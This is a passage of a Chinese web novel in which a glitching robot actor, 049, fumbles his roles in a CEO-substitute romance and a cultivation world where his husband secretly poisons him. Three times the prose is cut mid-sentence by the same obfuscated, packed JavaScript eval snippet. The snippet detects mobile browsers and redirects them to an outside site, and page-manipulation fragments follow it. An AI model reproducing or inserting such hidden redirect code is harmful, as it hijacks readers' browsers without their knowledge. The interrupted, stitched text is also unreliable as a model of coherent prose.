《故障机器人创翻狗血文》 1. 论穿书，049是专业的 丝缕晨雾萦绕在郁葱树木间，深浅绿意掩映下，一座象牙白的独栋别墅静静伫立。 位于繁华纷扰的影都，这里竟完全隔绝了喧嚣之声，只有潺潺流水声与鸟鸣虫吟。 这是影都豪门裴家长子裴熠彤的私人住处。 和他的人一样，疏离，淡漠。 “唰——” 别墅二楼，厚重的窗帘被拉开。 阳光一瞬间倾泻进来，将窗边人笼罩在融融的金辉之中。 他年轻的面庞还未脱少年之气，柔和明净的眉眼让人不由想到淡淡的月光。 微微下垂的眼角边一颗小痣，像未尽的泪滴。 ——监视屏后的穿书局研究员01自豪地抹了一把泪。 看这多么完美的虐文男主脸啊，读者一眼就知道本文谁最惨、最无辜、最惹人怜爱。 不愧是他们花了三个月废了48个方案最终捏出来的脸。 没错，这就是穿书局最新推出的穿书机器人049。 他拥有和真实人类别无二致的身体，配备涵括各类文学和影视剧的专业数据库。 能够在各大虐文世界游刃有余地扮演角色，演技一流。 不久前，在049的启动仪式上，被举报“不人道主义”已久的穿书局终于扬眉吐气地拉出横幅： “本虐文没有任何一个真实人类受伤！” 而红彤彤的大横幅旁，表情恬淡的漂亮机器人举着个喜庆的锦旗—— 上书“舍己为人”四个大字。 如今，049已经投入使用一段时间了，他的任务完成得相当完美。 研究员们终于放下心来，决定从今天开始不再监视049的动态。 “看你的了，好好发挥呀！”在监视屏关闭之前，研究员01最后对屏幕里的049悄悄说道。 窗边的少年眨了眨左眼。 * “咚咚咚。” 房门被礼貌地叩响了。 049转过身来，只听门外说道：“林先生，少爷回来了，正在楼下吃早餐。” 049连忙过去开门。 在门打开的一瞬间，他那张面无表情的脸庞就像被激活了一样，立刻漾出明媚的笑意：“熠彤说好今天要陪我看画展的。” 在这个世界里，049扮演的角色林肆玖只是个家境普通的大学生。 他幸运地进入一家大公司实习时，偶遇了年轻的总裁裴熠彤。 裴熠彤素来性子冷傲，身边从未有过情人，且和林肆玖的身份如隔天堑。 然而不知为何，他却对林肆玖一见钟情。 林肆玖很快在裴熠彤的攻势下陷入爱河，不可自拔。 但是他没有发现的是，裴熠彤身边的人看到他的时候都神情奇怪，欲言又止。 连裴熠彤本人也是一样，有时凝视着他的眼睛的时候，常常露出一丝他看不懂的怀念。 仿佛是在越过他，凝视着另一个人。 然而被爱情蒙蔽眼睛的林肆玖选择忽略了这些问题，他对裴熠彤全心依恋。 就像现在，只是几天没见，林肆玖就格外想念他。 他匆匆跑下楼去，仿佛一刻也等不及就要见到恋人。 来叫他的管家看着他迫不及待的背影，脸上依旧是得体的微笑，眼神中却流露出一丝不屑。 皮囊再像又怎么样，这个叫林肆玖的少年终究比不上那个人万分之一。 快到餐厅的时候，049的脚步缓了。 裴熠彤坐在落地窗前的餐桌边，冷光勾勒出他挺拔的肩背。 049的目光立刻如扇形图般精准无比地呈现出三分期待三分怯怯四分爱慕，开口唤道：“熠彤。” 可是被他深情注视的人很不耐烦地做了个手势，让他不要说话。 裴熠彤在接电话。 不知道电话那头的人说了什么，这位常年冷若冰霜的裴家少爷的表情竟是少见地带着急切。 “真的吗？他……真的回来了？” 裴熠彤猛地站了起来，面前的刀叉碰撞出叮当的声响。 049小心翼翼地观察着他。 裴熠彤反复和对面确认了什么消息，然后挂了电话。看也没看049就快步要走。 “熠彤……”049急忙跟上他，“你今天不是说要陪我……” 他的声音越来越小，因为他看到了裴熠彤脸上毫不掩饰的厌烦。 裴熠彤还从未用这种态度对待过他，今天到底是怎么了…… “我没空。”裴熠彤只丢下三个字。 049僵在原地许久。 直到裴熠彤的车疾驰而去，他才垂着头走回房间，紧紧地关上了门。 一直在观察他的管家嘴角露出了笑容，他悄无声息地来到049的房门前。 一张匿名的卡片被塞进了紧闭的房门。 * 关上门后，049瞬间又恢复成了面无表情的模样。 刚刚的伤心难过不过是他精湛的表演，他分析了数据库里众多影视的表演方法，最终给裴熠彤和管家呈现出了一个无可挑剔的心碎替身形象。 【霸总替身世界·白月光回国（1）剧情完成。】 他在脑内的任务列表里清掉这一项。然后选择切换世界。 他还有另一个世界的任务要完成。 机器人的好处是不会感到疲倦，他不需要休息，只要按时充电就行。 白光闪过，刚刚还安静的耳畔须臾充满了清脆鸟鸣。 049转眼身处山中一座小竹屋内，手中拿着一顶垂纱斗笠。 “喂，林肆玖，你换好了吗？”门外有人唤道，是个爽朗的青年男声。 049一边应声，一边将斗笠戴到头上，如雾般的细纱遮住了他的面容。 他推门而出。 一出竹门，眼前豁然开朗。 远处苍山如黛，云雾氤氲；近处青松参天，林间的小路上一位位白衣修士步履翩然，仿若谪仙。 而方才唤049的人正倚在门边，也穿一身雪白衣袍，浓眉俊眼。 他把049上下打量了一番，然后拉起049就匆匆跟上了前面的那群修士。 “无渊仙尊真是宠你得紧啊，都不放你独自下惊尘峰。”他说，“幸亏我偷偷告诉你，不然你连今日宗门大比都不知道。” 049讷讷地笑了笑，替自己道侣解释道：“他就是怕我出什么事。” 他现在所处的是一个修仙背景的世界。 无渊仙尊江珺自幼天资卓绝，一路破境势如破竹，年纪尚轻已享尊位，飞升似乎指日可待。 但就在两年前，江珺做了个惊煞世人的决定。 他与宗门里一个年轻小辈林肆玖结了婚契。 世人皆知江珺修行无情道，早已斩断俗缘，不知此时怎么又会被红尘牵绊。 大多数人都为之扼腕叹息。 结契后，林肆玖就被他接上自己的惊尘峰，从此与宗门生活隔绝。 如今还是江珺闭关，林肆玖旧年在宗门里的好友薄高阳才找到机会递消息上山来。 今日是五年一次的宗门大比，门派里年轻的弟子们会在云镜湖一决高下。 如果不是和江珺结了契，林肆玖本该也参加这场大比的。 “你有仙尊亲自教导，自然不用再和我们决高下。”薄高阳说，“但不管怎样，你当初可是答应要来看我比赛的。” 049微笑：“我这不是专门换了衣服悄悄来了吗。” 说话间，两人已至云镜湖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271002|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湖中心搭建好了比试台，已有二人在上面论剑，一道道剑影将湖面映亮。 薄高阳指着其中束着靛蓝发带的年轻修士说道：“他是我们这一届入门的弟子里天资比较好的，目前已达筑基中期。” 他用胳膊肘抵抵049，“哎哎，你现在是什么境界了？” “筑基大圆满。”049说，表情带着一点小甜蜜。 江珺常常赠一些灵草丹药给他，自他与江珺结契后，他的修为就突飞猛进。 “真好。”薄高阳带着羡慕的表情说道。 就在此时，四下里突然一阵惊呼！ 049转头一看，竟是蓝发带青年一道剑风击破了比试台的屏障，直直向他这里飞来—— 他下意识出剑去抵挡。毕竟他一个筑基大圆满的修士，挡下筑基中期的剑意应是轻而易举。 但是他失败了。 他体内看似丰沛的真元在运行起来却格外滞涩，身体也不似原先那般轻巧灵活。 这一击竟直接将他击倒在地。 049倒在地上，垂纱斗笠滚落一边，露出了他的面貌。 周围议论声纷纷四起。 “……这不是那个和无渊仙尊结契的弟子吗，他怎么在这里，不是被仙尊金屋藏娇了吗？” “没想到如今他连筑基中期的一剑都接不下……” “不会吧，被仙尊养着还这么废物吗？” ………… 种种私语如芒针刺着049，然而更让049痛苦的是他心中的恐慌：“我的身体……怎么会这么虚弱？” 他的意识渐渐模糊，在他昏迷的最后，隐约听到有人高呼： “无渊仙尊来了——” * 【杀妻证道世界·初见端倪（1）剧情完成。】 049干脆利落地昏死了过去。同时在脑子里把任务列表勾掉。 好，下面应该回到霸总替身世界，完成见到白月光剧情了。049按部就班地切换世界，准备回去继续表演。 但这次好像出了一点问题。 白光闪过之后，跳出来的是许多故障提醒。 【网络连接已断开……正在重连网络……网络连接失败】 【数据库连接失败】 【穿书局实时通信连接失败】 【本地部分储存数据丢失】 不仅如此，他脑子里的各种程序运作都一阵混乱，一直游刃有余的049终于慌了手脚。 【正在向穿书局发送报错信息……】 【发送失败】 【发送失败】 【发送失败】 不仅发送失败了，弹窗还一口气弹出三遍，还让049的脑子更卡了。 现在怎么办？ 没有办法。 在穿书局发现故障解决问题之前，049只能先靠自己把剧情继续下去了。 049顶着一脑门的故障弹窗和混乱数据努力站起身，现在是什么剧情来着……？ 他的眼睛把房间扫描了一遍，发现了门缝下躺着的卡片。 捡起一看，卡片上没头没尾地写了一句：“裴熠彤在影都机场，接一位故人。” 卡片上没有署名。 照原剧情来说，049本应看到卡片后立即心中起疑，然后立刻驱车前往机场。 但是如今049故障了，他完全忘记了剧情，只能用他的机器人思维解决问题。 【不明来源信息，不可信。】 049把手上的卡片观察几次之后，判定道。 然后把它丢进了垃圾桶。 门外的管家等了四十分钟，愣是没有等到林肆玖看到卡片后夺门而出，急得差点破门而入。 不是，这人怎么不按套路走啊！！ 2. 薛定谔的替身 管家急得满头汗。 林肆玖他到底有没有看到卡片？ 以林肆玖对裴熠彤的爱恋程度，看到这个消息是一定会去机场探个究竟的。 然后他就会看到裴熠彤真正的所爱，温秋亭。 到那时，林肆玖一定会明白过来自己只是个可笑的仿品。 然后他就应该自觉离开这里，把本该温秋亭所有的位置还给他。 管家是这么计划的。 他其实和裴熠彤温秋亭年纪相仿，他的父亲是裴家的上一任管家。 年少时他随父亲到裴家来，那些少爷小姐们都对他不屑一顾，甚至嘲笑奚落。 只有温秋亭笑着对他说，要过来一起玩吗？ 温秋亭的笑容在记忆里被镀上了一层柔和的光芒。 他自知配不上温秋亭，也知道裴熠彤对温秋亭的一片痴心。 理性来说，裴家才是温秋亭的最好选择。 于是他带着牺牲自我的悲壮使命感，势要为温秋亭保卫这个裴家主位，赶走林肆玖。 如果让049知道他这一番想法，049一定会觉得这个人类好奇怪。 人家温秋亭全程蒙在鼓里，管家一个人已经又唱又跳上了。 人类有一个词是怎么形容来着，喔，自我感动。 不过这时候049还不知道外面关着一个团团转的管家。 他在忙着再次检查自己的数据库。 穿书局的影视库是彻底连不上了，049的影帝外挂遗憾退场。 没有了影帝外挂的049尝试对着镜子做了一下之前的表情—— 很好，腼腆微笑做得像别有歹心，含情脉脉做得像阴暗爬行。 还是别做了。 049虽然没有人类都有的感情，但是他有某些人类没有的自知之明。 他默默地恢复了面无表情。 再看其他的，《霸道裴总的替身情人》和《无情道仙尊杀妻证道后》的剧本都灰着，打不开。 本地数据库里只有一些世界基础设定，和一本机器人初级教程：《如何模仿一个正常人类》。 049兢兢业业地把教程重新咀嚼了一遍，然后重燃了自信。 虽然做虐文主角的专业知识丢了，但他至少能做一个正常人类吧！ 这时门突然被敲响了。 还没等049应声，管家就火急火燎地推门进来了，好像有什么话要说。 049立刻现学现卖，应用刚学的知识，端出露出八颗牙齿的热情笑容，字正腔圆地打招呼：“你好！你吃了吗？” 呃……但不知为什么，效果好像不太好。 管家的表情从急切转为了疑惑加一点惊恐，甚至后退了一步。 049:…… * 管家是实在忍不住了，才准备进来和林肆玖摊开来明讲。 他一开始以为林肆玖是在房间里哭得太忘我了才没看见他的卡片。 没想到进来之后兜头一张灿烂的大笑脸，还有仿佛普通话等级考试般标准的问候。 ……林肆玖，他不会伤心过度精神出了点问题吧。 管家惊悚地观察了一下林肆玖，发现他的气质整个都变了。 原先的林肆玖总是一副柔顺又天真的样子。 好像无论你怎么欺负他，只要最后道歉说两句好话，他就会原谅你。 但现在他的脸还是原先那张漂亮的脸，但是配上那诡异的笑容，整个人就是有一种…… 伪人感。 管家不由自主地后退了一步。 好在林肆玖好像突然发现自己的表现有点问题。 他把灿烂到惊悚的笑容收敛了一下，然后一本正经地问他：“你有什么事情要找我吗？” 虽然还是怎么看怎么不对劲，但是正事要紧。 管家硬着头皮开口道：“林先生，虽然很唐突，但是我是来告诉你少爷今天抛下你去了哪里的。他在影都机场……” “接一位故人！”林肆玖眼睛突然亮了，抢答似的接上了话。 然后管家眼睁睁看着他从垃圾桶里翻出了那张卡片，用一种恍然大悟的语气说：“原来这张纸是你写的呀！” 他还很贴心地提醒道，“你忘记写名字了，以后再给我写信不要忘记署名呀。” 管家：…… 管家：谁要再给你写信……不是，重点是这个吗！！ 掰扯了半天，不太智能的049终于明白了管家的意思，坐上了他开往机场的车。 有一瞬间，049好像看到管家在驾驶座上悄悄擦汗。 真是有点抱歉呢，看来自己做人还是有点不熟练，让管家先生受累了。 049默默地想着，下定决心要更加努力。 人类俗话说熟能生巧，049决定多和管家聊聊天。 “管家先生，一直都叫你管家来着，不过这是职业吧？请问你的名字是什么呢？”049礼貌友好地问道。 管家沉默了一会儿：“我就叫管家。姓管名家。” …… 半晌，049干巴地憋出一句：“好名字。” 管家半天没搭腔。 ……算了，还是别聊了。 一路寂静中，管家开着车来到了影都机场。 按照狗血小说的经典套路，他们一下车就看见了不远处裴熠彤的车。 裴熠彤弯腰正为一个人打开副驾驶的车门，他的目光里是049从未见过的温柔。 他身边的人一身米白的休闲西装，身材修长。那人仰起脸，那张脸庞竟与049有八分相似。 微风吹来，拂动他的额发，他的笑容仿佛融化在初春透亮清澈的日光里。 ——这便是裴熠彤的白月光，温秋亭。 049失去剧本，没有意识到这是一个重要的剧情人物。他的第一反应是—— 哇，明明是差不多的脸，人家怎么能笑得这么好看。 049回忆了一下自己尝试的惨不忍睹的笑容，在心里默默佩服。 于是他在脑子里给温秋亭截了图，新建了一个《学习教材》文件夹，把截图珍重地放了进去。 管家看林肆玖盯着温秋亭半天不语，以为是他终于明白了真相，开口道：“怎么样，你明白了吧。” “嗯！”049用力点头。 管家先生人怪好的，特意告诉他这里有个跟他长得差不多的人，活脱脱的榜样教科书啊！ “所以，你知道该怎么做了吧。”管家说。离开裴熠彤，把他还给温秋亭——这是他的潜台词。 “我知道的！”049充满干劲地说。 他一定会参考这位优秀教材，好好学习做一个正常人类的！ “……知道就好。”虽然这么说，但是管家总觉得有点不太对劲。 林肆玖看上去有点太镇定了。 他没有哭泣伤心，没有崩溃大闹，他的眼睛甚至有一点……闪闪发光？ 也许是他想开了吧……管家自我安慰道。 裴熠彤和温秋亭坐上车离开了，并没有发现他们。 管家也开车把049带回了裴家。 049一回裴家就把自己关在房间里，对着镜子开始练习刚刚学到的表情。 他调出刚刚的截图，在图片上切分出方格，一个格子一个格子地复刻。 左嘴角上调0.5度，右眼弧度拉直一点点…… 虽然故障了，但是作为机器人，他的学习能力还是很强的。 没多久，镜子里就映出了一个和温秋亭一模一样的温柔笑容。 本来他和温秋亭长相有八分相似，加上完全一致的表情之后，相似度直逼90%。 眼看着故障后一直非常人机的僵硬表情终于得到了拯救，049满意地回床上躺下。 趁着这时间没人打扰，他想要再尝试自救。 遇事不决重启解决。 在一切自我修复尝试都失败之后，049选择把自己关机重启一下。 049在关机的时候，身体的恒温系统会关闭、模拟的心跳和呼吸都会停止，看起来像是完全失去生命体征一样。 所以他一般很少关机，担心把周围的人吓着。 今天实在是迫不得已，于是他谨慎地反锁了房门，然后把自己放平在床上，关机重启。 * 而楼下，管家冷静了一下。他思来想去，还是有点担心林肆玖受刺激过大。 已经中午了，林肆玖还是没有出现。 管家推着小餐车上了二楼，准备趁给林肆玖送午餐的契机打探一下他到底有事没有。 管家敲了敲门：“林先生，如果你不想下来吃午餐的话，我给你送过来了，请开一下门。” 门里一片寂静。 管家又敲了敲门，这次力度大多了，砰砰直响。还是没有回应。 管家觉得他都要对在林肆玖门前等待产生一些ptsd了，而且有一些不太好的猜想不可控地进入了他的脑子里。 他所熟知的林肆玖……是深爱裴熠彤的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271003|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果他今天的异常表现是因为遭受刺激的话，他现在会不会做出一些更偏激的行为……？ 管家尝试着拧了一下门把，门反锁了。 不详的预感更浓了。 他近乎是跑着去取来了备用钥匙，也不管礼不礼貌冒不冒犯了，径直打开了林肆玖反锁的房门。 然后他惊恐地发现……他不详的预感，好像成真了。 房间里很暗，林肆玖把窗帘全部拉上了。 他直挺挺地躺在床上，一定不是在睡觉，因为他根本没有盖上被子。 他双眼紧闭，漂亮的脸上表情安详，但是肤色已经变成了没有生机的惨白。 管家感觉自己的呼吸也要停止了。 他腿脚发软地上前，小心翼翼地碰了碰林肆玖的手—— 冰凉。 再探一探，呼吸和脉搏都没有了，人看上去已经是没得透透的了。 管家悬着的心终于死了。 他喘着气跑出了房间，心里的第一个念头是有些后悔内疚——自己是不是间接害死了林肆玖？ 但是马上恐惧就盖过了一点愧疚。 林肆玖在这里死了，不管是对他还是对裴家，都是一个麻烦。 他慌忙掏出手机，打给了裴熠彤。 竹声萧萧，溪水潺潺。 裴熠彤早已在温秋亭曾经最喜欢的一家中式会馆订好了位。 此刻他们正在溪畔小亭里对坐，品着新茗。 氛围正好，裴熠彤有些希望能定格在这一刻。 最好是只有他和温秋亭两个人，没人来打扰他们。 然后放在一旁的手机就嗡嗡地震动了。 裴熠彤：…… 他看了一眼来电显示，是管家。 他直接拒接了。没想到管家没间断地又打过来。 可能真有什么急事。于是他对温秋亭示意了一下，走出去接起了电话。 “少爷，不好了，林肆玖他……他死了！” 电话一接通，管家仿佛喘不过气的声音就惊慌地响起。 “……”裴熠彤以为自己听错了，“死了？” “对，已经没有心跳和呼吸了，可能是一时想不开……少爷您快回来看看吧！” 裴熠彤强迫自己冷静下来：“我马上回去。” 他的脑子里骤然被“林肆玖死了”这个消息所冲击，甚至都没和温秋亭说一声就快步离开了。 混沌中他突然想到，今早他也是这么不耐烦地快步离开林肆玖的。 那时林肆玖是什么表情……？ 好像是不可置信的、受伤的、泫然欲泣的。 他会因为得不到自己的爱而想不开吗……？ 饶是自认为对林肆玖没有真情的裴熠彤，此刻心里都不自主地痛了一刻。 初见林肆玖的画面倏然在他脑海中浮现。 那时的林肆玖抱着文件在走廊拐角不小心撞进他的怀里。 裴熠彤还记得那刻隔着衬衫触到的，他温热的体温。 这是第一次，他脑子里出现林肆玖的时候，不是在想念那个和他长相相似的人。 也是第一次，他意识到林肆玖是一个独立的个体，他不是温秋亭的剪影。 他会伤心、会哭泣、会真真切切地爱着他。 终究是自己亏欠了他，这份感情直到最后自己才生出几分真心。 但是现在后悔也来不及了。 裴熠彤就这样带着复杂的情感飙车回了裴家，三步两步上了楼来到了林肆玖房间门口。 管家正呆立在那里，眼神直直的。 “林肆玖呢？在房间里吗？”他想也许自己应该最后再看看他。 但是管家的表情却很奇怪。 他跟见了鬼一样直直盯着房间里，磕磕巴巴道：“……在是在，但，但是……他，他……” 想必管家是被一时吓傻了。裴熠彤看了他一眼，皱着眉头走进房间里。 ……然后他的表情变得跟管家一样见鬼。 他看到的不是安安静静躺在床上等待他瞻仰遗容的尸体林肆玖。 而是—— “熠彤，你回来了。” 活生生的一个林肆玖笑容满面地招呼他，而这笑容竟和温秋亭如出一辙。 更可怕的是，林肆玖此时是在房间角落的一台动感单车上。 朝他笑的同时，他两只脚还在冒火般地狂蹬动感单车。 ……？？？ 裴熠彤的大脑，缓缓地宕机了。 3. 故障穿越，买一送一 五分钟前。 049终于完成了漫长的重启，重新睁开眼睛。 坏消息：这次重启根本没有解决什么问题。 更坏的消息：049一睁眼就听到了一声惨叫。 他坐起来，看到一个面色惨白、瑟瑟发抖的管家指着他：“你、你、你……你怎么诈尸了？？！” 更更坏的消息：这次自我修复和重启耗了049的大量电量，他现在快没电了。 049是需要定期充电的。 如果用普通充电方法容易被发现，于是049把他的充电器伪装成了一台动感单车。 只要蹬动单车，电流就能够通过单车的踏板从049的脚底感应区充进去。 所以平时他在充电的时候，看起来只是在健身罢了。 ——现在来不及跟管家先生解释了！049先得解决自己的电量问题！ 他从一个挺子从床上起来，翻身就上了动感单车，一边开始狂蹬，一边歉意地朝管家笑了笑。 管家看上去更惊恐了。 他张了张嘴，连声音都没发出来，脚步踉跄着连连后退，一直退到门外。 再然后，就是一脸怀旧伤感的裴熠彤走了进来。 他看见单车上的健身少年049也开始瞳孔地震。 049不知道怎么解释，只能现学现卖地给了裴熠彤一个漂亮的白月光牌笑容：“熠彤，你回来了。” * 裴熠彤认定自己被耍了。 林肆玖一口咬定自己只是睡得太沉了，而终于缓过来的管家则赌咒发誓林肆玖当时绝对是死了。 裴熠彤的脑袋被他俩吵得发晕，他阴沉着脸走出了房间。 林肆玖还在蹬单车一时半会儿下不来，只有管家追了上去还想解释。 “我警告你，管家。” 裴熠彤打断了管家的辩解，阴鸷的眼神山雨欲来，“我知道你对温秋亭是什么心思。还费这么大心思联合林肆玖演戏。” 管家愣住了，他感觉世界都暗了，原来是好大一口黑锅扣在了他的脑袋上。 ——他配合林肆玖演戏？天杀的，他今天快被林肆玖吓死了，哪有这样演戏的！ 裴熠彤却把管家的愣神当成了心虚。 “你要知道，你这样的人是配不上温秋亭的。”裴熠彤带着轻蔑的声音居高临下地砸下。 他瞥了一眼管家百口莫辩的表情，在心里冷笑。 用这样粗劣的手段把他从温秋亭身边支走，真是笑话。 裴熠彤心里对林肆玖生出的那点愧疚荡然无存，温秋亭重新占据了他的全部心神。 他立刻驱车回了会馆，温秋亭还坐在原处。 见他来，温秋亭抬起头道：“我还以为你不会回来了。” “怎么会，一点小事务罢了，已经处理完了。”裴熠彤重新端起茶杯，茶尚温着，一定是温秋亭重新为他添上了。 “那就好。”温秋亭朝他微笑，依旧是往昔那般如泠泠清溪、如皎皎月辉般的微笑。 如果是平时，裴熠彤一定会为此心动不已。 但此刻鬼使神差的，裴熠彤脑子里浮现出另一幅画面…… 就是刚刚林肆玖顶着和温秋亭一模一样的笑容，上身保持不动，下身狂蹬动感单车的诡异画面。 睁眼，温秋亭微笑。 闭眼，林肆玖蹬单车。 再睁眼，两者融合变成了温秋亭蹬单车。 …………………… 裴熠彤差点把杯子摔了。 * 裴熠彤走后，049又蹬了五分钟，终于给自己充满电了。 充满电的感觉很好，他脑子清醒了很多。 想到裴熠彤摔门而去时的脸色，他分析刚刚的误会可能让裴熠彤不高兴了，于是准备打电话再给他解释一下。 结果被裴熠彤狠狠地挂了电话。 他可能在开会。049乐观地想，没关系，等下次见面再解释吧。 049精神十足地在屋子里转了一圈，管家先生不见踪影，目前好像也没什么剧情要走。 于是他点开切换世界界面，决定去仙尊世界看看。 希望切换世界功能没有故障…… 049等着熟悉的白光，但是这次白光好像有点卡顿。 眼前的画面硬生生卡成了马赛克，世界载入进度条也卡在99%处不动了。 终于跳到100%的时候，他听到了一声“咚”的声响。 ………… 049睁开眼睛。 他身处一个精致典雅的房间之内，身下是触之生温的暖灵玉榻，榻前垂着月影般朦胧的纱帘。 房间里，香炉散漫出清新恬淡若有若无的香气；窗格外，袅袅云雾弥漫，远望去，一览众山小。 这里是他在无渊仙尊江珺的惊尘峰上的住处。 上一次切换世界的时候，他记得他晕过去了。应该是江珺又接他回到了这里。 此时江珺不在，049准备去找他触发一下剧情。 他一脚伸下床，足尖却蓦然触到了一个硌人的东西。 049伸头一看，竟然是一个现代的木质相框。 相框里是一张裴熠彤的单人照，穿着黑西装，目光严冷地看着镜头。 ……这不是他在霸总世界里放在床头的照片吗？怎么出现在这里了？ 世界切换时那“咚”的一声，难道是相框和他一起切换过来，落在地上的声音吗？ ——故障之后，穿越还变买一送一了？ 问题太多，049感觉他的机器脑袋有点死机，他现在随时随地发现新bug。 他把相框捡起来，正在想把它先藏哪儿的时候，门口忽然传来玉帘被撩起的清脆碰撞声。 049慌不择路地把相框塞到了枕头底下。 来不及做更多掩饰，淡青色绣着暗纹的衣摆已来到了床前。 049抬头一看，看到了江珺如寒潭般无喜无悲的眼睛。 “你醒了。” “嗯。”049听着他没有起伏的声音，感觉他比自己更像个机器人。 下一秒，江机器人倏然伸出手，狠狠地钳住了049的下颌。 他的指尖冰冷，话语也是一样的冰冷：“为什么擅自下山？” 049被迫抬起头直视着他，在他同样冰冷的目光里糊弄了他：“我有事。” 江珺没想到听到如此敷衍的回答，他的手又紧了几分。 049倒是感觉不到疼，但是他生怕神力无穷的仙尊把他的机体捏裂了，赶紧大叫松手松手。 从前049是一心仰慕信任仙尊的柔情似水小道侣人设，江珺还从来没看过他这么不顾形象地大呼小叫，一时诧异地放开了手。 “我是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271004|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你好。”半晌，江珺的声音和软了一些。 他的手又抚上049的脸，这次力道非常的轻柔，像是补偿刚刚带给他的痛楚似的。 “我一直不让你下山，是因为数日前，我验得你患了一种罕见之症。” 他凝视着049的眼睛：“这种病症会让人真元虚满，境界虽增长但内里亏虚，须静养滋补。 “我之前赠你的灵草丹药，皆有缓解病症之用。而你这次擅自下山，运用功力以致病发昏倒，让我前功尽失。” 他的语气里恳切又暗含责备。 如果是之前人设的049，知道“真相”后，应该惭愧又歉意地认错，并感激江珺默默为自己做了这么多，对他恋慕更深。 但是现在的049坚信耳听为虚眼见为实。 他很有求实精神地扫描了床头小桌上摆放的几个白瓷小瓶。那里面装着的正是江珺先前赠给他的那些丹药。 【扫描丹药成分：6.1%玉清草、4.5%涤尘芝、3.3%玄霜参……0.01%温雪昙】 虽然后续剧本打不开了，但之前储存的一些基础世界资料049还是可以读取的。 他知道，玉清草涤尘芝这些确是有滋补效果的上品珍稀药材。 而最后一味温雪昙，同样也是稀世珍品。 但它是珍稀的……毒草。 温雪昙，效果像它的名字般带着美丽的残忍。 服用后，人就会像春阳和煦温度回暖之时的积雪，渐渐融化消无。 而少剂量地加进药里，便会让人渐渐虚弱。 用珍稀药草滋补，再用珍稀毒草下毒，二者结合的效果，便成了江珺口中的“罕见之症”。 此罕见之症，病根在药。 049其实有点不明白，江珺都临飞升的境界了，他动动手指轻易地就能把筑基期的自己像碾一只蚂蚁一样碾死，为什么还要费尽心思地给自己下药呢？ 049的机器脑袋暂时还参不透复杂的人心。 他不知道江珺是一个什么样的人。 他不知道在这副仙风道骨的仙尊皮囊之下，跳动着的是怎么样如仪器般冰冷计算的一颗心。 江珺不会容忍任何一个会让他飞升失败的可能性。 所以哪怕面对的是全心相信自己的筑基期道侣，他也会选择下毒让他变得更虚弱。 直到他的性命能被自己完全地掌控。 所以049感觉的没错—— 江珺的确比他更像是一个“机器”。 药肯定是不能再吃了的，但揭穿暂时还不敢揭穿。 049再不智能也知道现在他的实力还没法跟江珺硬碰硬。 于是他再次盗用了温秋亭的温柔笑容，假装认错道：“对不起，我错了，下次再也不敢了。” 这错认得机械又生硬，奈何049的笑容实在甜美。 江珺的表情松快了一点，好像原谅了他这一次任性：“明白就好。” 049正要松一口气，然后就听他淡淡地道：“那么，现在能否告诉我，你枕头下面藏的是什么？” 049一悚，本能地去按住枕头—— 但江珺的速度比他快得多。眨眼间，他已抽出那个相框。 然后他的眉头逐渐紧皱。 “林肆玖。”他的声音如剑刃一般凌厉起来—— “这个男人，是谁？” 4. 听听你的梦话 江珺紧盯着自己手上那古怪的物什。 那是一个两掌长的木框，被精心打磨得很光滑。 木框里镶着极透极薄的水晶片，而水晶片的下面—— 压着一张男人的画像。 饶是天材地宝、世间奇物阅尽的无渊仙尊也从未见过这样的画像。 画面精细得看不出笔触，绘得又十分真实，画中的男人仿若活生生站在他面前似的。 那男人衣着发式皆不似常人，竟是一头短发，又着一身剪裁怪异的黑衣。 他的脸庞倒是棱角分明的英俊，只是望向画外的眼神之中似有掩盖不住的冷冽。 江珺回忆起自己曾经和域外魔族大战之时，曾见过这样短发的样式。 且魔族喜穿黑衣，性情孤戾。 于是，他缓缓地再次开口，锐利的目光直直锚定林肆玖： “你和此魔族男人，到底是什么关系？” 这几秒内，049cpu都要烧干了。 本来枕头底下塞个男人照片就够难解释了，更何况裴熠彤的现代装扮直接被江珺认定是魔族人。 他在数据库里幸存的基础设定里快速搜索“魔族”关键词，还真让他找到了自己和魔族的联系。 【林肆玖，幼年父亲被魔族所杀。】 于是他张口就来：“这是我的杀父仇人。” 江珺：？ 江珺看了看手里精美的画像，又看了看049藏画像的枕头。 ……你和杀父仇人这么旖旎的吗？ 江珺看起来并没有很信。 但他没有再问，只是回身在小桌上的玉壶中倒了一杯茶水，递给了049。 “喝口水润润吧。”他貌似体贴地说道，“然后告诉我，你说的杀父仇人是怎么回事。” 049看着送到眼面前的杯子，里面清亮的茶水反射着阳光，人畜无害地微微晃动着。 他又开启了扫描功能，这次在杯子里发现了“真言丹”的成分。 真言丹，能让人只说真话的丹药。 江珺果然是个极度多疑的人。 